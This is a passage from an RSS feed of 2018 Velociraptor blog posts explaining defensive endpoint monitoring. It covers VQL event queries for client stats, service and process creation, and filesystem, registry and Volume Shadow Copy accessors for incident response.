more&#xA;interesting ideas and do not hesitate to contribute artifact definitions&#xA;to address your real world use cases.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>More on client event collection</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/12/09/more_on_client_event_collection/</link>
      <pubDate>Sun, 09 Dec 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/12/09/more_on_client_event_collection/</guid>
      <description>&lt;h1 id=&#34;periodic-event-queries&#34;&gt;Periodic Event queries&lt;/h1&gt;&#xA;&lt;p&gt;The simplest kind of events are periodically generated events. These are&#xA;created using the clock() VQL plugin. This is a simple event plugin&#xA;which just emits a new row periodically.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor query &amp;quot;select Unix from clock(period=5)&amp;quot; --max_wait 1&#xA;[&#xA; {&#xA;   &amp;quot;Unix&amp;quot;: 1544339715&#xA; }&#xA;][&#xA; {&#xA;   &amp;quot;Unix&amp;quot;: 1544339720&#xA; }&#xA;]^C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The query will never terminate, instead the clock() plugin will emit a&#xA;new timestamp every 5 seconds. Note the --max_wait flag which tells&#xA;Velociraptor to wait at least for 1 second in order to batch rows before&#xA;reporting them.&lt;/p&gt;&#xA;&lt;p&gt;This query is not very interesting! Let&#39;s do something more&#xA;interesting. GRR has a feature where each client sends its own CPU use&#xA;and memory footprint sampled every minutes to the server. This is a&#xA;really useful feature because it can be used to make sure the client&#39;s&#xA;impact on the host&#39;s performance is minimal.&lt;/p&gt;&#xA;&lt;p&gt;Let us implement the same feature with a VQL query. What we want is to&#xA;measure the client&#39;s footprint every minute and send that to the&#xA;server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT * from foreach(&#xA; row={&#xA;   SELECT UnixNano FROM clock(period=60)&#xA; },&#xA; query={&#xA;   SELECT UnixNano / 1000000000 as Timestamp,&#xA;          Times.user + Times.system as CPU,&#xA;          MemoryInfo.RSS as RSS&#xA;   FROM pslist(pid=getpid())&#xA; })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This query runs the clock() VQL plugin and for each row it emits, we run&#xA;the pslist() plugin, extracting the total CPU time (system + user) used&#xA;by our own pid (i.e. the Velociraptor client).&lt;/p&gt;&#xA;&lt;p&gt;We can now encapsulate this query in an&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/generic.client.stats/&#34;&gt;artifact&lt;/a&gt;&#xA;and collect it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor artifacts collect Generic.Client.Stats --max_wait 1 --format json&#xA;[][&#xA;  {&#xA;  &amp;quot;CPU&amp;quot;: 0.06999999999999999,&#xA;  &amp;quot;RSS&amp;quot;: 18866176,&#xA;  &amp;quot;Timestamp&amp;quot;: 1544340582.9939497&#xA;  }&#xA;][&#xA;  {&#xA;  &amp;quot;CPU&amp;quot;: 0.09,&#xA;  &amp;quot;RSS&amp;quot;: 18866176,&#xA;  &amp;quot;Timestamp&amp;quot;: 1544340602.9944408&#xA;  }&#xA;]^C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;::: {.note}&#xA;::: {.admonition-title}&#xA;Note&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;You must specify the --format json to be able to see the results from&#xA;event queries on the command line. Otherwise Velociraptor will try to&#xA;get all the results so it can format them in a table and never return&#xA;any results.&#xA;:::&lt;/p&gt;&#xA;&lt;h1 id=&#34;installing-the-event-collector&#34;&gt;Installing the event collector.&lt;/h1&gt;&#xA;&lt;p&gt;In order to have clients collect this event, we need to add the artifact&#xA;to the server. Simply add the YAML file into a directory on the server&#xA;and start the server with the --definitions flag. Then simply add the&#xA;event name to the Events clause of the server configuration. When&#xA;clients connect to the server they will automatically start collecting&#xA;these events and sending them to the server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --definitions path/to/my/artifacts/ frontend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Events:&#xA;  artifacts:&#xA;  - Generic.Client.Stats&#xA;  version: 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that we do not need to redeploy any clients, modify any code or&#xA;recompile anything. We simply add the new artifact definition and&#xA;clients will automatically start monitoring and feeding back our&#xA;information.&lt;/p&gt;&#xA;&lt;p&gt;The data is sent to the server where it is stored in a file (Events are&#xA;stored in a unique file for each day).&lt;/p&gt;&#xA;&lt;p&gt;For example, the path&#xA;/var/lib/velociraptor/clients/C.772d16449719317f/monitoring/Artifact%20Generic.Client.Stats/2018-12-10&#xA;stores all events collected from client id C.772d16449719317f for the&#xA;Generic.Client.Stats artifact on the day of 2018-12-10.&lt;/p&gt;&#xA;&lt;p&gt;In the next blog post we will demonstrate how these events can be post&#xA;processed and acted on. It is important to note that the Velociraptor&#xA;server does not interpret the collected monitoring events at all -they&#xA;are simply appended to the daily log file (which is a CSV file).&lt;/p&gt;&#xA;&lt;p&gt;The CSV file can then be imported into basically any tool designed to&#xA;work with tabular data (e.g. spreadsheets, databases, BigQuery etc). CSV&#xA;is almost universally supported by all major systems.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Timestamp,CPU,RSS&#xA;1544363561.8001275,14.91,18284544&#xA;1544363571.8002906,14.91,18284544&#xA;1544363581.8004665,14.920000000000002,18284544&#xA;1544363591.8007126,14.920000000000002,18284544&#xA;1544363601.8008528,14.920000000000002,18284544&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;</description>
    </item>
    <item>
      <title>Event Queries and Endpoint Monitoring</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/11/09/event_queries_and_endpoint_monitoring/</link>
      <pubDate>Fri, 09 Nov 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/11/09/event_queries_and_endpoint_monitoring/</guid>
      <description>&lt;p&gt;Why monitor endpoint events? Recording end point event information on&#xA;the server gives a bunch of advantages. For one, the server keeps a&#xA;record of historical events, which makes going back to search for these&#xA;easy as part of an incident response activity.&lt;/p&gt;&#xA;&lt;p&gt;For example, Velociraptor can keep a running log of process execution&#xA;events for all clients, on the server. If a particular executable is&#xA;suspected to be malicious, we can now go back and search for the&#xA;execution of that process in the past on the infected machine (for&#xA;establishing the time of infection), as well as search the entire&#xA;deployment base for the same binary execution to be able identify&#xA;lateral movement and wider compromises.&lt;/p&gt;&#xA;&lt;h1 id=&#34;how-are-events-monitored&#34;&gt;How are events monitored?&lt;/h1&gt;&#xA;&lt;p&gt;Velociraptor relies heavily on VQL queries. A VQL query typically&#xA;produces a single table of multiple rows. For example, the query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT Name, CommandLine FROM pslist()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Returns a single row of all running processes, and then returns.&lt;/p&gt;&#xA;&lt;p&gt;However, VQL queries do not have to terminate at all. If the VQL plugin&#xA;they are calling does not terminate, the VQL query will continue to run&#xA;and pass events in partial results to the VQL caller.&lt;/p&gt;&#xA;&lt;p&gt;Event queries are just regular VQL queries which do not terminate&#xA;(unless cancelled) returning rows whenever an event is generated.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/html/2018/11/09/event_queries_and_endpoint_monitoring/1.png&#34;&#xA;     width=&#34;546&#34;&#xA;     height=&#34;198&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Consider the parse_evtx() plugin. This plugin parses an event log file&#xA;and returns all events in it. We can then filter events and return&#xA;specific events of interest. The following query returns all the service&#xA;installation events and terminates:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe query &amp;quot;SELECT EventData, System.TimeCreated.SystemTime from&#xA;   parse_evtx(filename=&#39;c:/windows/system32/winevt/logs/system.evtx&#39;) where&#xA;   System.EventId.value = &#39;7045&#39;&amp;quot;&#xA;[&#xA; {&#xA;  &amp;quot;EventData&amp;quot;: {&#xA;   &amp;quot;AccountName&amp;quot;: &amp;quot;&amp;quot;,&#xA;   &amp;quot;ImagePath&amp;quot;: &amp;quot;system32\\DRIVERS\\VBoxGuest.sys&amp;quot;,&#xA;   &amp;quot;ServiceName&amp;quot;: &amp;quot;VirtualBox Guest Driver&amp;quot;,&#xA;   &amp;quot;ServiceType&amp;quot;: &amp;quot;kernel mode driver&amp;quot;,&#xA;   &amp;quot;StartType&amp;quot;: &amp;quot;boot start&amp;quot;&#xA;  },&#xA;  &amp;quot;System.TimeCreated.SystemTime&amp;quot;: &amp;quot;2018-11-10T06:32:34Z&amp;quot;&#xA; }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The query specifically looks at the 7045 event &lt;a href=&#34;http://www.eventid.net/display.asp?eventid=7045&amp;amp;source=service&amp;#43;control&amp;#43;manager&#34; target=&#34;_blank&#34; &gt;&amp;quot;A service was&#xA;installed in the&#xA;system&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Lets turn this query into an event query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe query &amp;quot;SELECT EventData, System.TimeCreated.SystemTime from&#xA;   watch_evtx(filename=&#39;c:/windows/system32/winevt/logs/system.evtx&#39;) where&#xA;   System.EventId.value = &#39;7045&#39;&amp;quot; --max_wait 1&#xA;[&#xA;  &amp;quot;EventData&amp;quot;: {&#xA;    &amp;quot;AccountName&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;ImagePath&amp;quot;: &amp;quot;C:\\Users\\test\\AppData\\Local\\Temp\\pmeFF0E.tmp&amp;quot;,&#xA;    &amp;quot;ServiceName&amp;quot;: &amp;quot;pmem&amp;quot;,&#xA;    &amp;quot;ServiceType&amp;quot;: &amp;quot;kernel mode driver&amp;quot;,&#xA;    &amp;quot;StartType&amp;quot;: &amp;quot;demand start&amp;quot;&#xA;  },&#xA;  &amp;quot;System.TimeCreated.SystemTime&amp;quot;: &amp;quot;2018-11-10T04:57:35Z&amp;quot;&#xA;  }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The watch_evtx() plugin is the event watcher equivalent of the&#xA;parse_evtx() plugin. If you ran the above query, you will notice that&#xA;Velociraptor does not terminate. Instead it will show all existing&#xA;service installation events in the log file, and then just wait in the&#xA;console.&lt;/p&gt;&#xA;&lt;p&gt;If you then install a new service (in another terminal), for example&#xA;using winpmem.exe -L, a short time later you should see the event&#xA;reported by Velociraptor as in the above example. You will notice that&#xA;the watch_evtx() plugin emits event logs as they occur, but&#xA;Velociraptor will try to group the events into batches. The max_wait&#xA;flag controls how long to wait before releasing a partial result set.&lt;/p&gt;&#xA;&lt;h1 id=&#34;employing-event-queries-for-client-monitoring&#34;&gt;Employing event queries for client monitoring&lt;/h1&gt;&#xA;&lt;p&gt;The above illustrates how event queries work, but to actually be able to&#xA;use these we had to implement the Velociraptor event monitoring&#xA;framework.&lt;/p&gt;&#xA;&lt;p&gt;Normally, when we launch a &lt;code&gt;CollectVQL&lt;/code&gt; flow, the client executes the&#xA;query and returns the result to the flow. Clearly since event queries&#xA;never terminate, we can not run them in series (because the client will&#xA;never be able to do anything else). The Velociraptor client has a table&#xA;of executing event queries which are run in a separate thread. As these&#xA;queries return more results, the results are sent back to the server.&lt;/p&gt;&#xA;&lt;p&gt;We also wanted to be able to update the events the clients are&#xA;monitoring on the fly (without a client restart). Therefore we needed a&#xA;way to be able to update the client&#39;s event table. This simply cancels&#xA;current event queries, and installs new queries in their place.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/11/09/event_queries_and_endpoint_monitoring//blog/html/2018/11/09/event_queries_and_endpoint_monitoring/2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;426&#34; height=&#34;384&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As events are generated by the Event Table, they are sent back to the&#xA;server into the Monitoring flow. This flow is automatically created for&#xA;each client. The monitoring flow simply writes events into the client&#39;s&#xA;VFS. Therefore, events are currently simply recorded for each client. In&#xA;future there will be a mechanism to post process event and produce&#xA;alerts based on these.&lt;/p&gt;&#xA;&lt;h1 id=&#34;process-execution-logs&#34;&gt;Process Execution logs&lt;/h1&gt;&#xA;&lt;p&gt;One of the most interesting event plugins is the WMI eventing plugin.&#xA;This allows Velociraptor to install a temporary WMI event listener. For&#xA;example, we can install a listener for new process creation:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;// Convert the timestamp from WinFileTime to Epoch.&#xA;SELECT timestamp(epoch=atoi(&#xA;  string=Parse.TIME_CREATED) / 10000000 - 11644473600 ) as Timestamp,&#xA;  Parse.ParentProcessID as PPID,&#xA;  Parse.ProcessID as PID,&#xA;  Parse.ProcessName as Name, {&#xA;    SELECT CommandLine&#xA;    FROM wmi(&#xA;      query=&amp;quot;SELECT * FROM Win32_Process WHERE ProcessID = &amp;quot; +&#xA;          format(format=&amp;quot;%v&amp;quot;, args=Parse.ProcessID),&#xA;      namespace=&amp;quot;ROOT/CIMV2&amp;quot;)&#xA;  } AS CommandLine&#xA;  FROM wmi_events(&#xA;       query=&amp;quot;SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE&#xA;              TargetInstance ISA &#39;Win32_Process&#39;&amp;quot;,&#xA;       wait=5000000,   // Do not time out.&#xA;       namespace=&amp;quot;ROOT/CIMV2&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The wmi_events() plugin installs an event listener into WMI and&#xA;therefore receives events from the OS about new process creation events.&#xA;Unfortunately these events, do not contain a lot of information about&#xA;the process. They only provide the ProcessID but not the full command&#xA;line. The above query executes a second subquery to retrieve the command&#xA;line for the process. We also parse the timestamp and convert it into a&#xA;more standard epoch based timestamp.&lt;/p&gt;&#xA;&lt;h1 id=&#34;specifying-what-should-the-client-monitor&#34;&gt;Specifying what should the client monitor&lt;/h1&gt;&#xA;&lt;p&gt;We have seen how Event VQL queries can generate events for the server.&#xA;However, this is difficult for Velociraptor&#39;s end users to directly&#xA;use. Who can really remember the full query?&lt;/p&gt;&#xA;&lt;p&gt;As we have shown previously, Velociraptor&#39;s Artifacts are specifically&#xA;designed to solve this issue. Artifacts encapsulate a VQL query so it&#xA;can be called by name alone.&lt;/p&gt;&#xA;&lt;p&gt;For example, the Windows.Events.ProcessCreation artifact encapsulates&#xA;the above query in one easy to remember name.&lt;/p&gt;&#xA;&lt;p&gt;To specify what clients should collect, users simply need to name the&#xA;event artifacts that should be monitored. Currently this is done in the&#xA;server configuration (in future this may be done via the GUI).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Events:&#xA;  artifacts:&#xA;  - Windows.Events.ServiceCreation&#xA;  - Windows.Events.ProcessCreation&#xA;  version: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The event table version should be incremented each time the monitored&#xA;event list is updated. This forces all clients to refresh their event&#xA;tables.&lt;/p&gt;&#xA;&lt;h1 id=&#34;how-does-it-look-like-in-the-gui&#34;&gt;How does it look like in the GUI?&lt;/h1&gt;&#xA;&lt;p&gt;The Monitoring flow simply writes files into the client&#39;s VFS. This&#xA;allows these to be downloaded and post processed outside of&#xA;Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/11/09/event_queries_and_endpoint_monitoring//blog/html/2018/11/09/event_queries_and_endpoint_monitoring/3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1249&#34; height=&#34;385&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;Adding event monitoring to Velociraptor is a great step forward. Even&#xA;just keeping the logs around is extremely helpful for incident response.&#xA;There is a lot of value in things like process execution logging, and&#xA;remote event log forwarding. We will cover some more examples of event&#xA;log monitoring in future blog posts. Until then, have a play and provide&#xA;feedback as usual by filing issues and feature requests.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor&#39;s filesystem&#39;s accessors</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors/</link>
      <pubDate>Sun, 30 Sep 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors/</guid>
      <description>&lt;p&gt;In addition, Velociraptor can now also read &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/desktop/vss/volume-shadow-copy-service-portal&#34; target=&#34;_blank&#34; &gt;Volume Shadow&#xA;Copy&lt;/a&gt;&#xA;snapshots. The gives a kind of time-machine ability to allow the&#xA;investigator to look through the drive content at a previous point in&#xA;the past.&lt;/p&gt;&#xA;&lt;p&gt;This blog post introduces the new features and describe how&#xA;Velociraptor&#39;s filesystem accessors work to provide data from multiple&#xA;sources to VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;We have previously seen that Velociraptor can list and download files&#xA;from the client&#39;s filesystem, as well as registry keys and values. The&#xA;client&#39;s filesystem is made available to VQL plugins such as glob()&#xA;allowing many Artifacts to be written that work on files, registry keys&#xA;and raw NTFS volumes.&lt;/p&gt;&#xA;&lt;p&gt;While Velociraptor is a great remote response tool, everything that it&#xA;can do remotely, it can also do locally using a command line interface.&#xA;This gives the user an opportunity to interactively test their VQL&#xA;queries while writing artifacts.&lt;/p&gt;&#xA;&lt;p&gt;The latest release adds a couple of convenient command line options&#xA;which allow the user to interact with the filesystem accessors. For&#xA;example, to list the files in a directory we can use the &amp;quot;velociraptor&#xA;fs ls&amp;quot; command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe fs ls&#xA;+------+------+------------+---------------------------+---------------------------------+&#xA;| Name | Size |    Mode    |           mtime           |              Data               |&#xA;+------+------+------------+---------------------------+---------------------------------+&#xA;| C:   |    0 | d--------- | 1969-12-31T16:00:00-08:00 | Description: Local Fixed Disk   |&#xA;|      |      |            |                           | DeviceID: C:                    |&#xA;|      |      |            |                           | FreeSpace: 12686422016          |&#xA;|      |      |            |                           | Size: 33833349120               |&#xA;|      |      |            |                           | SystemName: DESKTOP-IOME2K5     |&#xA;|      |      |            |                           | VolumeName:                     |&#xA;|      |      |            |                           | VolumeSerialNumber: 9459F443    |&#xA;| D:   |    0 | d--------- | 1969-12-31T16:00:00-08:00 | Description: CD-ROM Disc        |&#xA;|      |      |            |                           | DeviceID: D:                    |&#xA;|      |      |            |                           | FreeSpace: 0                    |&#xA;|      |      |            |                           | Size: 57970688                  |&#xA;|      |      |            |                           | SystemName: DESKTOP-IOME2K5     |&#xA;|      |      |            |                           | VolumeName: VBox_GAs_5.2.11     |&#xA;|      |      |            |                           | VolumeSerialNumber: A993F576    |&#xA;+------+------+------------+---------------------------+---------------------------------+&#xA;SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime,&#xA;   Data FROM glob(globs=path, accessor=accessor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &amp;quot;fs ls&amp;quot; command instructs Velociraptor to list directories using&#xA;its internal filesystem accessors. By default it will use the &amp;quot;file&amp;quot;&#xA;accessor - which simply uses the usual Win32 api filesystem calls (i.e.&#xA;&lt;code&gt;CreateFile&lt;/code&gt;, &lt;code&gt;FindFirstFile&lt;/code&gt; etc).&lt;/p&gt;&#xA;&lt;p&gt;On windows, the file accessor lists the drive letters at the root of the&#xA;filesystem, then allows subdirectories to be listed under each letter.&#xA;The above output shows some metadata for each drive letter (like its&#xA;size etc) and below the table we can see the VQL query that was used to&#xA;generate the table. To be clear, the &amp;quot;fs ls&amp;quot; command is simply a&#xA;shortcut for producing a VQL query that ultimately uses the filesystem&#xA;accessor in the glob() VQL plugin. Therefore, we can enter any glob&#xA;expression to find files:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe fs ls -v &amp;quot;c:\program files\**\*.exe&amp;quot;&#xA;+--------------------------------+----------+------------+---------------------------+------+&#xA;|            FullPath            |   Size   |    Mode    |           mtime           | Data |&#xA;+--------------------------------+----------+------------+---------------------------+------+&#xA;| C:\Program Files\Windows Defen |  4737448 | -rw-rw-rw- | 2018-07-14T17:56:49-07:00 |      |&#xA;| der Advanced Threat Protection |          |            |                           |      |&#xA;| \MsSense.exe                   |          |            |                           |      |&#xA;| C:\Program Files\Windows Defen |   791384 | -rw-rw-rw- | 2018-07-14T17:56:43-07:00 |      |&#xA;| der Advanced Threat Protection |          |            |                           |      |&#xA;| \SenseCncProxy.exe             |          |            |                           |      |&#xA;| C:\Program Files\Windows Defen |  3832016 | -rw-rw-rw- | 2018-07-14T17:56:50-07:00 |      |&#xA;| der Advanced Threat Protection |          |            |                           |      |&#xA;| \SenseIR.exe                   |          |            |                           |      |&#xA;| C:\Program Files\Windows Defen |  2147192 | -rw-rw-rw- | 2018-07-14T18:05:00-07:00 |      |&#xA;| der Advanced Threat Protection |          |            |                           |      |&#xA;| \SenseSampleUploader.exe       |          |            |                           |      |&#xA;........&#xA;+--------------------------------+----------+------------+---------------------------+------+&#xA;SELECT FullPath, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime, Data FROM&#xA;glob(globs=path, accessor=accessor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When using the registry filesystem accessor, the registry appears like a&#xA;filesystem, allowing us to run glob expressions against registry keys&#xA;and values (Note that the registry accessor provides the value in the&#xA;metadata):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe fs --accessor reg ls &amp;quot;HKEY_USERS\*\Software\Microsoft\Windows\CurrentVersion\{Run,RunOnce}\*&amp;quot;&#xA;+---------------+------+------------+---------------------------+---------------------------------+&#xA;|     Name      | Size |    Mode    |           mtime           |             Data                |&#xA;+---------------+------+------------+---------------------------+---------------------------------+&#xA;| OneDriveSetup |  104 | -rwxr-xr-x | 2018-09-03T02:48:53-07:00 | type: SZ                        |&#xA;|               |      |            |                           | value: C:\Windows\SysWOW64\     |&#xA;|               |      |            |                           | OneDriveSetup.exe /thfirstsetup |&#xA;| OneDriveSetup |  104 | -rwxr-xr-x | 2018-09-03T02:48:47-07:00 | type: SZ                        |&#xA;|               |      |            |                           | value:   C:\Windows\SysWOW64\   |&#xA;|               |      |            |                           | OneDriveSetup.exe /thfirstsetup |&#xA;+---------------+------+------------+---------------------------+---------------------------------+&#xA;SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime,&#xA;Data FROM glob(globs=path, accessor=accessor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally, the NTFS accessor can access files by parsing the NTFS&#xA;filesystem directly. At the top level, the accessor shows all NTFS&#xA;formatted partitions. These include regular drives as well as Volume&#xA;Shadow Copies:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe fs --accessor ntfs ls&#xA;+--------------------------------+------+------------+---------------------------------------------------------+&#xA;|              Name              | Size |    Mode    |                             Data                        |&#xA;+--------------------------------+------+------------+---------------------------------------------------------+&#xA;| \\.\C:                         |    0 | d--------- | Description: Local Fixed Disk                           |&#xA;|                                |      |            | DeviceID: C:                                            |&#xA;|                                |      |            | FreeSpace: 11802157056                                  |&#xA;|                                |      |            | Size: 33833349120                                       |&#xA;|                                |      |            | SystemName: DESKTOP-IOME2K5                             |&#xA;|                                |      |            | VolumeName:                                             |&#xA;|                                |      |            | VolumeSerialNumber: 9459F443                            |&#xA;| \\?\GLOBALROOT\Device\Harddisk |    0 | d--------- | DeviceObject: \\?\GLOBALROOT\Device\                    |&#xA;|                                |      |            |             HarddiskVolumeShadowCopy1                   |&#xA;| VolumeShadowCopy1              |      |            | ID: {CAF25144-8B70-4F9E-B4A9-5CC702281FA1}              |&#xA;|                                |      |            | InstallDate: 20180926154712.490617-420                  |&#xA;|                                |      |            | OriginatingMachine: DESKTOP-IOME2K5                     |&#xA;|                                |      |            | VolumeName: \\?\Volume{3dc4b590-0000-000-501f00000000}\ |&#xA;| \\?\GLOBALROOT\Device\Harddisk |    0 | d--------- | DeviceObject: \\?\GLOBALROOT\Device\                    |&#xA;|                                |      |            |            HarddiskVolumeShadowCopy2                    |&#xA;| VolumeShadowCopy2              |      |            | ID: {E48BFDD7-7D1D-40AE-918C-36FCBB009941}              |&#xA;|                                |      |            | InstallDate: 20180927174025.893104-420                  |&#xA;|                                |      |            | OriginatingMachine: DESKTOP-IOME2K5                     |&#xA;|                                |      |            | VolumeName: \\?\Volume{3dc4b590-0000-000-501f00000000}\ |&#xA;+--------------------------------+------+------------+---------------------------------------------------------+&#xA;SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime,, Data FROM glob(globs=path, accessor=accessor) WHERE Sys.name_type != &#39;DOS&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above example shows two volume shadow copies that Windows has taken&#xA;on two different dates (highlighted above). We can browse these&#xA;snapshots just like they were another drive (We can also apply any glob&#xA;expressions to this path):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe fs --accessor ntfs ls &amp;quot;\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\&#xA;Users\test\*.exe&amp;quot;&#xA;+------------------+----------+------------+---------------------------+------------------+&#xA;|       Name       |   Size   |    Mode    |           mtime           |       Data       |&#xA;+------------------+----------+------------+---------------------------+------------------+&#xA;| velociraptor.exe | 12521472 | -rwxr-xr-x | 2018-08-19T23:37:01-07:00 | mft: 39504-128-0 |&#xA;|                  |          |            |                           | name_type: Win32 |&#xA;| winpmem.exe      |  3619260 | -rwxr-xr-x | 2017-12-28T21:17:50-08:00 | mft: 39063-128-1 |&#xA;|                  |          |            |                           | name_type: POSIX |&#xA;+------------------+----------+------------+---------------------------+------------------+&#xA;SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime, Data FROM&#xA;glob(globs=path, accessor=accessor) WHERE Sys.name_type != &#39;DOS&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Volume shadow copies are like a time machine - they can reveal data that&#xA;was stored on the drive days or weeks prior to the time we inspected it&#xA;which makes them very useful for some investigations.&lt;/p&gt;&#xA;&lt;h1 id=&#34;using-filesystem-accessors-remotely---the-velociraptor-vfs&#34;&gt;Using filesystem accessors remotely - The Velociraptor VFS&lt;/h1&gt;&#xA;&lt;p&gt;The above description shows how Velociraptor&#39;s command line interface&#xA;can be used to interact with the various filesystem accessors. This is&#xA;important for writing and collecting artifacts for triage and general&#xA;system state exploration.&lt;/p&gt;&#xA;&lt;p&gt;However, how do filesystem accessors appear in the Velociraptor GUI?&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img 